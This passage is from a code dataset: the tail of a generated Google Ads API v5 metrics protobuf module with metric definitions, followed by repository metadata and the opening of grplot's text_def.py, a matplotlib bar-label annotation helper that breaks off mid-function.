_METRICS.oneofs_by_name['_hotel_average_lead_value_micros'] _METRICS.oneofs_by_name['_hotel_price_difference_percentage'].fields.append( _METRICS.fields_by_name['hotel_price_difference_percentage']) _METRICS.fields_by_name['hotel_price_difference_percentage'].containing_oneof = _METRICS.oneofs_by_name['_hotel_price_difference_percentage'] _METRICS.oneofs_by_name['_hotel_eligible_impressions'].fields.append( _METRICS.fields_by_name['hotel_eligible_impressions']) _METRICS.fields_by_name['hotel_eligible_impressions'].containing_oneof = _METRICS.oneofs_by_name['_hotel_eligible_impressions'] _METRICS.oneofs_by_name['_historical_quality_score'].fields.append( _METRICS.fields_by_name['historical_quality_score']) _METRICS.fields_by_name['historical_quality_score'].containing_oneof = _METRICS.oneofs_by_name['_historical_quality_score'] _METRICS.oneofs_by_name['_gmail_forwards'].fields.append( _METRICS.fields_by_name['gmail_forwards']) _METRICS.fields_by_name['gmail_forwards'].containing_oneof = _METRICS.oneofs_by_name['_gmail_forwards'] _METRICS.oneofs_by_name['_gmail_saves'].fields.append( _METRICS.fields_by_name['gmail_saves']) _METRICS.fields_by_name['gmail_saves'].containing_oneof = _METRICS.oneofs_by_name['_gmail_saves'] _METRICS.oneofs_by_name['_gmail_secondary_clicks'].fields.append( _METRICS.fields_by_name['gmail_secondary_clicks']) _METRICS.fields_by_name['gmail_secondary_clicks'].containing_oneof = _METRICS.oneofs_by_name['_gmail_secondary_clicks'] _METRICS.oneofs_by_name['_impressions_from_store_reach'].fields.append( _METRICS.fields_by_name['impressions_from_store_reach']) _METRICS.fields_by_name['impressions_from_store_reach'].containing_oneof = _METRICS.oneofs_by_name['_impressions_from_store_reach'] _METRICS.oneofs_by_name['_impressions'].fields.append( _METRICS.fields_by_name['impressions']) _METRICS.fields_by_name['impressions'].containing_oneof = _METRICS.oneofs_by_name['_impressions'] _METRICS.oneofs_by_name['_interaction_rate'].fields.append( _METRICS.fields_by_name['interaction_rate']) _METRICS.fields_by_name['interaction_rate'].containing_oneof = _METRICS.oneofs_by_name['_interaction_rate'] _METRICS.oneofs_by_name['_interactions'].fields.append( _METRICS.fields_by_name['interactions']) _METRICS.fields_by_name['interactions'].containing_oneof = _METRICS.oneofs_by_name['_interactions'] _METRICS.oneofs_by_name['_invalid_click_rate'].fields.append( _METRICS.fields_by_name['invalid_click_rate']) _METRICS.fields_by_name['invalid_click_rate'].containing_oneof = _METRICS.oneofs_by_name['_invalid_click_rate'] _METRICS.oneofs_by_name['_invalid_clicks'].fields.append( _METRICS.fields_by_name['invalid_clicks']) _METRICS.fields_by_name['invalid_clicks'].containing_oneof = _METRICS.oneofs_by_name['_invalid_clicks'] _METRICS.oneofs_by_name['_message_chats'].fields.append( _METRICS.fields_by_name['message_chats']) _METRICS.fields_by_name['message_chats'].containing_oneof = _METRICS.oneofs_by_name['_message_chats'] _METRICS.oneofs_by_name['_message_impressions'].fields.append( _METRICS.fields_by_name['message_impressions']) _METRICS.fields_by_name['message_impressions'].containing_oneof = _METRICS.oneofs_by_name['_message_impressions'] _METRICS.oneofs_by_name['_message_chat_rate'].fields.append( _METRICS.fields_by_name['message_chat_rate']) _METRICS.fields_by_name['message_chat_rate'].containing_oneof = _METRICS.oneofs_by_name['_message_chat_rate'] _METRICS.oneofs_by_name['_mobile_friendly_clicks_percentage'].fields.append( _METRICS.fields_by_name['mobile_friendly_clicks_percentage']) _METRICS.fields_by_name['mobile_friendly_clicks_percentage'].containing_oneof = _METRICS.oneofs_by_name['_mobile_friendly_clicks_percentage'] _METRICS.oneofs_by_name['_organic_clicks'].fields.append( _METRICS.fields_by_name['organic_clicks']) _METRICS.fields_by_name['organic_clicks'].containing_oneof = _METRICS.oneofs_by_name['_organic_clicks'] _METRICS.oneofs_by_name['_organic_clicks_per_query'].fields.append( _METRICS.fields_by_name['organic_clicks_per_query']) _METRICS.fields_by_name['organic_clicks_per_query'].containing_oneof = _METRICS.oneofs_by_name['_organic_clicks_per_query'] _METRICS.oneofs_by_name['_organic_impressions'].fields.append( _METRICS.fields_by_name['organic_impressions']) _METRICS.fields_by_name['organic_impressions'].containing_oneof = _METRICS.oneofs_by_name['_organic_impressions'] _METRICS.oneofs_by_name['_organic_impressions_per_query'].fields.append( _METRICS.fields_by_name['organic_impressions_per_query']) _METRICS.fields_by_name['organic_impressions_per_query'].containing_oneof = _METRICS.oneofs_by_name['_organic_impressions_per_query'] _METRICS.oneofs_by_name['_organic_queries'].fields.append( _METRICS.fields_by_name['organic_queries']) _METRICS.fields_by_name['organic_queries'].containing_oneof = _METRICS.oneofs_by_name['_organic_queries'] _METRICS.oneofs_by_name['_percent_new_visitors'].fields.append( _METRICS.fields_by_name['percent_new_visitors']) _METRICS.fields_by_name['percent_new_visitors'].containing_oneof = _METRICS.oneofs_by_name['_percent_new_visitors'] _METRICS.oneofs_by_name['_phone_calls'].fields.append( _METRICS.fields_by_name['phone_calls']) _METRICS.fields_by_name['phone_calls'].containing_oneof = _METRICS.oneofs_by_name['_phone_calls'] _METRICS.oneofs_by_name['_phone_impressions'].fields.append( _METRICS.fields_by_name['phone_impressions']) _METRICS.fields_by_name['phone_impressions'].containing_oneof = _METRICS.oneofs_by_name['_phone_impressions'] _METRICS.oneofs_by_name['_phone_through_rate'].fields.append( _METRICS.fields_by_name['phone_through_rate']) _METRICS.fields_by_name['phone_through_rate'].containing_oneof = _METRICS.oneofs_by_name['_phone_through_rate'] _METRICS.oneofs_by_name['_relative_ctr'].fields.append( _METRICS.fields_by_name['relative_ctr']) _METRICS.fields_by_name['relative_ctr'].containing_oneof = _METRICS.oneofs_by_name['_relative_ctr'] _METRICS.oneofs_by_name['_search_absolute_top_impression_share'].fields.append( _METRICS.fields_by_name['search_absolute_top_impression_share']) _METRICS.fields_by_name['search_absolute_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_absolute_top_impression_share'] _METRICS.oneofs_by_name['_search_budget_lost_absolute_top_impression_share'].fields.append( _METRICS.fields_by_name['search_budget_lost_absolute_top_impression_share']) _METRICS.fields_by_name['search_budget_lost_absolute_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_budget_lost_absolute_top_impression_share'] _METRICS.oneofs_by_name['_search_budget_lost_impression_share'].fields.append( _METRICS.fields_by_name['search_budget_lost_impression_share']) _METRICS.fields_by_name['search_budget_lost_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_budget_lost_impression_share'] _METRICS.oneofs_by_name['_search_budget_lost_top_impression_share'].fields.append( _METRICS.fields_by_name['search_budget_lost_top_impression_share']) _METRICS.fields_by_name['search_budget_lost_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_budget_lost_top_impression_share'] _METRICS.oneofs_by_name['_search_click_share'].fields.append( _METRICS.fields_by_name['search_click_share']) _METRICS.fields_by_name['search_click_share'].containing_oneof = _METRICS.oneofs_by_name['_search_click_share'] _METRICS.oneofs_by_name['_search_exact_match_impression_share'].fields.append( _METRICS.fields_by_name['search_exact_match_impression_share']) _METRICS.fields_by_name['search_exact_match_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_exact_match_impression_share'] _METRICS.oneofs_by_name['_search_impression_share'].fields.append( _METRICS.fields_by_name['search_impression_share']) _METRICS.fields_by_name['search_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_impression_share'] _METRICS.oneofs_by_name['_search_rank_lost_absolute_top_impression_share'].fields.append( _METRICS.fields_by_name['search_rank_lost_absolute_top_impression_share']) _METRICS.fields_by_name['search_rank_lost_absolute_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_rank_lost_absolute_top_impression_share'] _METRICS.oneofs_by_name['_search_rank_lost_impression_share'].fields.append( _METRICS.fields_by_name['search_rank_lost_impression_share']) _METRICS.fields_by_name['search_rank_lost_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_rank_lost_impression_share'] _METRICS.oneofs_by_name['_search_rank_lost_top_impression_share'].fields.append( _METRICS.fields_by_name['search_rank_lost_top_impression_share']) _METRICS.fields_by_name['search_rank_lost_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_rank_lost_top_impression_share'] _METRICS.oneofs_by_name['_search_top_impression_share'].fields.append( _METRICS.fields_by_name['search_top_impression_share']) _METRICS.fields_by_name['search_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_top_impression_share'] _METRICS.oneofs_by_name['_speed_score'].fields.append( _METRICS.fields_by_name['speed_score']) _METRICS.fields_by_name['speed_score'].containing_oneof = _METRICS.oneofs_by_name['_speed_score'] _METRICS.oneofs_by_name['_top_impression_percentage'].fields.append( _METRICS.fields_by_name['top_impression_percentage']) _METRICS.fields_by_name['top_impression_percentage'].containing_oneof = _METRICS.oneofs_by_name['_top_impression_percentage'] _METRICS.oneofs_by_name['_valid_accelerated_mobile_pages_clicks_percentage'].fields.append( _METRICS.fields_by_name['valid_accelerated_mobile_pages_clicks_percentage']) _METRICS.fields_by_name['valid_accelerated_mobile_pages_clicks_percentage'].containing_oneof = _METRICS.oneofs_by_name['_valid_accelerated_mobile_pages_clicks_percentage'] _METRICS.oneofs_by_name['_value_per_all_conversions'].fields.append( _METRICS.fields_by_name['value_per_all_conversions']) _METRICS.fields_by_name['value_per_all_conversions'].containing_oneof = _METRICS.oneofs_by_name['_value_per_all_conversions'] _METRICS.oneofs_by_name['_value_per_conversion'].fields.append( _METRICS.fields_by_name['value_per_conversion']) _METRICS.fields_by_name['value_per_conversion'].containing_oneof = _METRICS.oneofs_by_name['_value_per_conversion'] _METRICS.oneofs_by_name['_value_per_current_model_attributed_conversion'].fields.append( _METRICS.fields_by_name['value_per_current_model_attributed_conversion']) _METRICS.fields_by_name['value_per_current_model_attributed_conversion'].containing_oneof = _METRICS.oneofs_by_name['_value_per_current_model_attributed_conversion'] _METRICS.oneofs_by_name['_video_quartile_p100_rate'].fields.append( _METRICS.fields_by_name['video_quartile_p100_rate']) _METRICS.fields_by_name['video_quartile_p100_rate'].containing_oneof = _METRICS.oneofs_by_name['_video_quartile_p100_rate'] _METRICS.oneofs_by_name['_video_quartile_p25_rate'].fields.append( _METRICS.fields_by_name['video_quartile_p25_rate']) _METRICS.fields_by_name['video_quartile_p25_rate'].containing_oneof = _METRICS.oneofs_by_name['_video_quartile_p25_rate'] _METRICS.oneofs_by_name['_video_quartile_p50_rate'].fields.append( _METRICS.fields_by_name['video_quartile_p50_rate']) _METRICS.fields_by_name['video_quartile_p50_rate'].containing_oneof = _METRICS.oneofs_by_name['_video_quartile_p50_rate'] _METRICS.oneofs_by_name['_video_quartile_p75_rate'].fields.append( _METRICS.fields_by_name['video_quartile_p75_rate']) _METRICS.fields_by_name['video_quartile_p75_rate'].containing_oneof = _METRICS.oneofs_by_name['_video_quartile_p75_rate'] _METRICS.oneofs_by_name['_video_view_rate'].fields.append( _METRICS.fields_by_name['video_view_rate']) _METRICS.fields_by_name['video_view_rate'].containing_oneof = _METRICS.oneofs_by_name['_video_view_rate'] _METRICS.oneofs_by_name['_video_views'].fields.append( _METRICS.fields_by_name['video_views']) _METRICS.fields_by_name['video_views'].containing_oneof = _METRICS.oneofs_by_name['_video_views'] _METRICS.oneofs_by_name['_view_through_conversions'].fields.append( _METRICS.fields_by_name['view_through_conversions']) _METRICS.fields_by_name['view_through_conversions'].containing_oneof = _METRICS.oneofs_by_name['_view_through_conversions'] DESCRIPTOR.message_types_by_name['Metrics'] = _METRICS _sym_db.RegisterFileDescriptor(DESCRIPTOR) Metrics = _reflection.GeneratedProtocolMessageType('Metrics', (_message.Message,), { 'DESCRIPTOR' : _METRICS, '__module__' : 'google.ads.googleads_v5.proto.common.metrics_pb2' , '__doc__': """Metrics data. Attributes: absolute_top_impression_percentage: The percent of your ad impressions that are shown as the very first ad above the organic search results. active_view_cpm: Average cost of viewable impressions (``active_view_impressions``). active_view_ctr: Active view measurable clicks divided by active view viewable impressions. This metric is reported only for display network. active_view_impressions: A measurement of how often your ad has become viewable on a Display Network site. active_view_measurability: The ratio of impressions that could be measured by Active View over the number of served impressions. active_view_measurable_cost_micros: The cost of the impressions you received that were measurable by Active View. active_view_measurable_impressions: The number of times your ads are appearing on placements in positions where they can be seen. active_view_viewability: The percentage of time when your ad appeared on an Active View enabled site (measurable impressions) and was viewable (viewable impressions). all_conversions_from_interactions_rate: All conversions from interactions (as oppose to view through conversions) divided by the number of ad interactions. all_conversions_value: The value of all conversions. all_conversions: The total number of conversions. This includes all conversions regardless of the value of include\_in\_conversions\_metric. all_conversions_value_per_cost: The value of all conversions divided by the total cost of ad interactions (such as clicks for text ads or views for video ads). all_conversions_from_click_to_call: The number of times people clicked the "Call" button to call a store during or after clicking an ad. This number doesn't include whether or not calls were connected, or the duration of any calls. This metric applies to feed items only. all_conversions_from_directions: The number of times people clicked a "Get directions" button to navigate to a store after clicking an ad. This metric applies to feed items only. all_conversions_from_interactions_value_per_interaction: The value of all conversions from interactions divided by the total number of interactions. all_conversions_from_menu: The number of times people clicked a link to view a store's menu after clicking an ad. This metric applies to feed items only. all_conversions_from_order: The number of times people placed an order at a store after clicking an ad. This metric applies to feed items only. all_conversions_from_other_engagement: The number of other conversions (for example, posting a review or saving a location for a store) that occurred after people clicked an ad. This metric applies to feed items only. all_conversions_from_store_visit: Estimated number of times people visited a store after clicking an ad. This metric applies to feed items only. all_conversions_from_store_website: The number of times that people were taken to a store's URL after clicking an ad. This metric applies to feed items only. average_cost: The average amount you pay per interaction. This amount is the total cost of your ads divided by the total number of interactions. average_cpc: The total cost of all clicks divided by the total number of clicks received. average_cpe: The average amount that you've been charged for an ad engagement. This amount is the total cost of all ad engagements divided by the total number of ad engagements. average_cpm: Average cost-per-thousand impressions (CPM). average_cpv: The average amount you pay each time someone views your ad. The average CPV is defined by the total cost of all ad views divided by the number of views. average_page_views: Average number of pages viewed per session. average_time_on_site: Total duration of all sessions (in seconds) / number of sessions. Imported from Google Analytics. benchmark_average_max_cpc: An indication of how other advertisers are bidding on similar products. benchmark_ctr: An indication on how other advertisers' Shopping ads for similar products are performing based on how often people who see their ad click on it. bounce_rate: Percentage of clicks where the user only visited a single page on your site. Imported from Google Analytics. clicks: The number of clicks. combined_clicks: The number of times your ad or your site's listing in the unpaid results was clicked. See the help page at https://support.google.com/google-ads/answer/3097241 for details. combined_clicks_per_query: The number of times your ad or your site's listing in the unpaid results was clicked (combined\_clicks) divided by combined\_queries. See the help page at https://support.google.com/google-ads/answer/3097241 for details. combined_queries: The number of searches that returned pages from your site in the unpaid results or showed one of your text ads. See the help page at https://support.google.com/google- ads/answer/3097241 for details. content_budget_lost_impression_share: The estimated percent of times that your ad was eligible to show on the Display Network but didn't because your budget was too low. Note: Content budget lost impression share is reported in the range of 0 to 0.9. Any value above 0.9 is reported as 0.9001. content_impression_share: The impressions you've received on the Display Network divided by the estimated number of impressions you were eligible to receive. Note: Content impression share is reported in the range of 0.1 to 1. Any value below 0.1 is reported as 0.0999. conversion_last_received_request_date_time: The last date/time a conversion tag for this conversion action successfully fired and was seen by Google Ads. This firing event may not have been the result of an attributable conversion (e.g. because the tag was fired from a browser that did not previously click an ad from an appropriate advertiser). The date/time is in the customer's time zone. conversion_last_conversion_date: The date of the most recent conversion for this conversion action. The date is in the customer's time zone. content_rank_lost_impression_share: The estimated percentage of impressions on the Display Network that your ads didn't receive due to poor Ad Rank. Note: Content rank lost impression share is reported in the range of 0 to 0.9. Any value above 0.9 is reported as 0.9001. conversions_from_interactions_rate: Conversions from interactions divided by the number of ad interactions (such as clicks for text ads or views for video ads). This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. conversions_value: The value of conversions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. conversions_value_per_cost: The value of conversions divided by the cost of ad interactions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. conversions_from_interactions_value_per_interaction: The value of conversions from interactions divided by the number of ad interactions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. conversions: The number of conversions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. cost_micros: The sum of your cost-per-click (CPC) and cost-per-thousand impressions (CPM) costs during this period. cost_per_all_conversions: The cost of ad interactions divided by all conversions. cost_per_conversion: The cost of ad interactions divided by conversions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. cost_per_current_model_attributed_conversion: The cost of ad interactions divided by current model attributed conversions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. cross_device_conversions: Conversions from when a customer clicks on a Google Ads ad on one device, then converts on a different device or browser. Cross-device conversions are already included in all\_conversions. ctr: The number of clicks your ad receives (Clicks) divided by the number of times your ad is shown (Impressions). current_model_attributed_conversions: Shows how your historic conversions data would look under the attribution model you've currently selected. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. current_model_attributed_conversions_from_interactions_rate: Current model attributed conversions from interactions divided by the number of ad interactions (such as clicks for text ads or views for video ads). This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. current_model_attributed_conversions_from_interactions_value_per_interaction: The value of current model attributed conversions from interactions divided by the number of ad interactions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. current_model_attributed_conversions_value: The value of current model attributed conversions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. current_model_attributed_conversions_value_per_cost: The value of current model attributed conversions divided by the cost of ad interactions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. engagement_rate: How often people engage with your ad after it's shown to them. This is the number of ad expansions divided by the number of times your ad is shown. engagements: The number of engagements. An engagement occurs when a viewer expands your Lightbox ad. Also, in the future, other ad types may support engagement metrics. hotel_average_lead_value_micros: Average lead value based on clicks. hotel_price_difference_percentage: The average price difference between the price offered by reporting hotel advertiser and the cheapest price offered by the competing advertiser. hotel_eligible_impressions: The number of impressions that hotel partners could have had given their feed performance. historical_creative_quality_score: The creative historical quality score. historical_landing_page_quality_score: The quality of historical landing page experience. historical_quality_score: The historical quality score. historical_search_predicted_ctr: The historical search predicted click through rate (CTR). gmail_forwards: The number of times the ad was forwarded to someone else as a message. gmail_saves: The number of times someone has saved your Gmail ad to their inbox as a message. gmail_secondary_clicks: The number of clicks to the landing page on the expanded state of Gmail ads. impressions_from_store_reach: The number of times a store's location-based ad was shown. This metric applies to feed items only. impressions: Count of how often your ad has appeared on a search results page or website on the Google Network. interaction_rate: How often people interact with your ad after it is shown to them. This is the number of interactions divided by the number of times your ad is shown. interactions: The number of interactions. An interaction is the main user action associated with an ad format-clicks for text and shopping ads, views for video ads, and so on. interaction_event_types: The types of payable and free interactions. invalid_click_rate: The percentage of clicks filtered out of your total number of clicks (filtered + non-filtered clicks) during the reporting period. invalid_clicks: Number of clicks Google considers illegitimate and doesn't charge you for. message_chats: Number of message chats initiated for Click To Message impressions that were message tracking eligible. message_impressions: Number of Click To Message impressions that were message tracking eligible. message_chat_rate: Number of message chats initiated (message\_chats) divided by the number of message impressions (message\_impressions). Rate at which a user initiates a message chat from an ad impression with a messaging option and message tracking enabled. Note that this rate can be more than 1.0 for a given message impression. mobile_friendly_clicks_percentage: The percentage of mobile clicks that go to a mobile-friendly page. organic_clicks: The number of times someone clicked your site's listing in the unpaid results for a particular query. See the help page at https://support.google.com/google-ads/answer/3097241 for details. organic_clicks_per_query: The number of times someone clicked your site's listing in the unpaid results (organic\_clicks) divided by the total number of searches that returned pages from your site (organic\_queries). See the help page at https://support.google.com/google-ads/answer/3097241 for details. organic_impressions: The number of listings for your site in the unpaid search results. See the help page at https://support.google.com/google-ads/answer/3097241 for details. organic_impressions_per_query: The number of times a page from your site was listed in the unpaid search results (organic\_impressions) divided by the number of searches returning your site's listing in the unpaid results (organic\_queries). See the help page at https://support.google.com/google-ads/answer/3097241 for details. organic_queries: The total number of searches that returned your site's listing in the unpaid results. See the help page at https://support.google.com/google-ads/answer/3097241 for details. percent_new_visitors: Percentage of first-time sessions (from people who had never visited your site before). Imported from Google Analytics. phone_calls: Number of offline phone calls. phone_impressions: Number of offline phone impressions. phone_through_rate: Number of phone calls received (phone\_calls) divided by the number of times your phone number is shown (phone\_impressions). relative_ctr: Your clickthrough rate (Ctr) divided by the average clickthrough rate of all advertisers on the websites that show your ads. Measures how your ads perform on Display Network sites compared to other ads on the same sites. search_absolute_top_impression_share: The percentage of the customer's Shopping or Search ad impressions that are shown in the most prominent Shopping position. See https://support.google.com/google- ads/answer/7501826 for details. Any value below 0.1 is reported as 0.0999. search_budget_lost_absolute_top_impression_share: The number estimating how often your ad wasn't the very first ad above the organic search results due to a low budget. Note: Search budget lost absolute top impression share is reported in the range of 0 to 0.9. Any value above 0.9 is reported as 0.9001. search_budget_lost_impression_share: The estimated percent of times that your ad was eligible to show on the Search Network but didn't because your budget was too low. Note: Search budget lost impression share is reported in the range of 0 to 0.9. Any value above 0.9 is reported as 0.9001. search_budget_lost_top_impression_share: The number estimating how often your ad didn't show anywhere above the organic search results due to a low budget. Note: Search budget lost top impression share is reported in the range of 0 to 0.9. Any value above 0.9 is reported as 0.9001. search_click_share: The number of clicks you've received on the Search Network divided by the estimated number of clicks you were eligible to receive. Note: Search click share is reported in the range of 0.1 to 1. Any value below 0.1 is reported as 0.0999. search_exact_match_impression_share: The impressions you've received divided by the estimated number of impressions you were eligible to receive on the Search Network for search terms that matched your keywords exactly (or were close variants of your keyword), regardless of your keyword match types. Note: Search exact match impression share is reported in the range of 0.1 to 1. Any value below 0.1 is reported as 0.0999. search_impression_share: The impressions you've received on the Search Network divided by the estimated number of impressions you were eligible to receive. Note: Search impression share is reported in the range of 0.1 to 1. Any value below 0.1 is reported as 0.0999. search_rank_lost_absolute_top_impression_share: The number estimating how often your ad wasn't the very first ad above the organic search results due to poor Ad Rank. Note: Search rank lost absolute top impression share is reported in the range of 0 to 0.9. Any value above 0.9 is reported as 0.9001. search_rank_lost_impression_share: The estimated percentage of impressions on the Search Network that your ads didn't receive due to poor Ad Rank. Note: Search rank lost impression share is reported in the range of 0 to 0.9. Any value above 0.9 is reported as 0.9001. search_rank_lost_top_impression_share: The number estimating how often your ad didn't show anywhere above the organic search results due to poor Ad Rank. Note: Search rank lost top impression share is reported in the range of 0 to 0.9. Any value above 0.9 is reported as 0.9001. search_top_impression_share: The impressions you've received in the top location (anywhere above the organic search results) compared to the estimated number of impressions you were eligible to receive in the top location. Note: Search top impression share is reported in the range of 0.1 to 1. Any value below 0.1 is reported as 0.0999. speed_score: A measure of how quickly your page loads after clicks on your mobile ads. The score is a range from 1 to 10, 10 being the fastest. top_impression_percentage: The percent of your ad impressions that are shown anywhere above the organic search results. valid_accelerated_mobile_pages_clicks_percentage: The percentage of ad clicks to Accelerated Mobile Pages (AMP) landing pages that reach a valid AMP page. value_per_all_conversions: The value of all conversions divided by the number of all conversions. value_per_conversion: The value of conversions divided by the number of conversions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. value_per_current_model_attributed_conversion: The value of current model attributed conversions divided by the number of the conversions. This only includes conversion actions which include\_in\_conversions\_metric attribute is set to true. If you use conversion-based bidding, your bid strategies will optimize for these conversions. video_quartile_p100_rate: Percentage of impressions where the viewer watched all of your video. video_quartile_p25_rate: Percentage of impressions where the viewer watched 25% of your video. video_quartile_p50_rate: Percentage of impressions where the viewer watched 50% of your video. video_quartile_p75_rate: Percentage of impressions where the viewer watched 75% of your video. video_view_rate: The number of views your TrueView video ad receives divided by its number of impressions, including thumbnail impressions for TrueView in-display ads. video_views: The number of times your video ads were viewed. view_through_conversions: The total number of view-through conversions. These happen when a customer sees an image or rich media ad, then later completes a conversion on your site without interacting with (e.g., clicking on) another ad. """, # @@protoc_insertion_point(class_scope:google.ads.googleads.v5.common.Metrics) }) _sym_db.RegisterMessage(Metrics) DESCRIPTOR._options = None # @@protoc_insertion_point(module_scope)
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314e67267df45f972d0ce08a919093fa7585c106
28,592
py
Python
grplot/features/text/text_def.py
ghiffaryr/grplot
43ea08febac4ffecbce0a6a3d679850f5013aa28
[ "BSD-3-Clause" ]
null
null
null
grplot/features/text/text_def.py
ghiffaryr/grplot
43ea08febac4ffecbce0a6a3d679850f5013aa28
[ "BSD-3-Clause" ]
null
null
null
grplot/features/text/text_def.py
ghiffaryr/grplot
43ea08febac4ffecbce0a6a3d679850f5013aa28
[ "BSD-3-Clause" ]
null
null
null
import numpy from pandas.api.types import is_numeric_dtype import matplotlib from grplot.features.add.text_add.text_add_type import text_add_type from grplot.features.sep.text_sep.text_sep_type import text_sep_type def text_def(plot, df, ax, ci, hue, multiple, axis, text, sep, add, text_fontsize, naxislabel, axislabel, axes): if plot in ['histplot', 'barplot', 'countplot', 'paretoplot']: # check ci if (ci is not None) or (multiple == 'fill') or ((hue is not None) and (multiple == 'stack')): if 'o' in text: text = text.replace('o','i') elif 'h' in text: text = 'h+i' elif 'v' in text: text = 'v+i' else: pass else: pass # get patches height and width data list_height = numpy.array([p.get_height() for p in ax.patches]) list_width = numpy.array([p.get_width() for p in ax.patches]) # get patches max and min height and width data if list_height.size != 0: max_height = max(list_height) min_height = min(list_height) else: pass if list_width.size != 0: max_width = max(list_width) min_width = min(list_width) else: pass # numerical check for main axis of histplot, barplot, countplot, barplot in paretoplot numeric = False if axislabel in df: if (is_numeric_dtype(df[axislabel]) == True) or (is_numeric_dtype(type(df[axislabel][0])) == True): numeric = True else: pass else: # axislabel not in df, special case as in histogram, barplot, etc. if axislabel in ['Probability', 'Proportion', 'Density', 'Count', 'Frequency', 'Percent', 'count']: numeric = True else: pass # annotate for histplot, barplot, countplot, barplot in paretoplot if (list_height.size != 0) and (list_width.size != 0) and (numeric == True): if axis == 'x': if text in ['h', 'h+o', 'o+h']: for p in ax.patches: left, bottom, width, height = p.get_bbox().bounds if width != 0: width_sep = text_sep_type(plot=plot, df=df, num=width, sep=sep, axislabel=axislabel, axes=axes) width_add = text_add_type(plot=plot, num=width_sep, add=add, axislabel=axislabel, axes=axes) if width > 0: if text_fontsize is not None: try: ax.annotate((f'{width_add}'), xy=(width+max_width*0.0175*text_fontsize/10, bottom+height/2), ha='center', va='center', fontsize=text_fontsize, rotation=270) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{width_add}'), xy=(width+max_width*0.0175, bottom+height/2), ha='center', va='center', rotation=270) elif width < 0: if text_fontsize is not None: try: ax.annotate((f'{width_add}'), xy=(width+min_width*0.0175*text_fontsize/10, bottom+height/2), ha='center', va='center', fontsize=text_fontsize, rotation=90) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{width_add}'), xy=(width+min_width*0.0175, bottom+height/2), ha='center', va='center', rotation=90) else: pass else: pass elif text in ['v', 'v+o', 'o+v']: for p in ax.patches: left, bottom, width, height = p.get_bbox().bounds if width != 0: width_sep = text_sep_type(plot=plot, df=df, num=width, sep=sep, axislabel=axislabel, axes=axes) width_add = text_add_type(plot=plot, num=width_sep, add=add, axislabel=axislabel, axes=axes) if width > 0: if text_fontsize is not None: try: ax.annotate((f'{width_add}'), xy=(width+max_width*0.0175*text_fontsize/10, bottom+height/2), ha='left', va='center', fontsize=text_fontsize) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{width_add}'), xy=(width+max_width*0.0175, bottom+height/2), ha='left', va='center') elif width < 0: if text_fontsize is not None: try: ax.annotate((f'{width_add}'), xy=(width+min_width*0.0175*text_fontsize/10, bottom+height/2), ha='right', va='center', fontsize=text_fontsize) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{width_add}'), xy=(width+min_width*0.0175, bottom+height/2), ha='right', va='center') else: pass else: pass elif text in ['i', 'i+v', 'v+i']: for p in ax.patches: left, bottom, width, height = p.get_bbox().bounds if width != 0: width_sep = text_sep_type(plot=plot, df=df, num=width, sep=sep, axislabel=axislabel, axes=axes) width_add = text_add_type(plot=plot, num=width_sep, add=add, axislabel=axislabel, axes=axes) if text_fontsize is not None: try: ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', fontsize=text_fontsize) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center') else: pass elif text in ['i+h', 'h+i']: for p in ax.patches: left, bottom, width, height = p.get_bbox().bounds if width != 0: width_sep = text_sep_type(plot=plot, df=df, num=width, sep=sep, axislabel=axislabel, axes=axes) width_add = text_add_type(plot=plot, num=width_sep, add=add, axislabel=axislabel, axes=axes) if width > 0: if text_fontsize is not None: try: ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', fontsize=text_fontsize, rotation=270) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', rotation=270) elif width < 0: if text_fontsize is not None: try: ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', fontsize=text_fontsize, rotation=90) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{width_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', rotation=90) else: pass else: pass else: pass elif axis == 'y': if text in ['h', 'h+o', 'o+h']: for p in ax.patches: left, bottom, width, height = 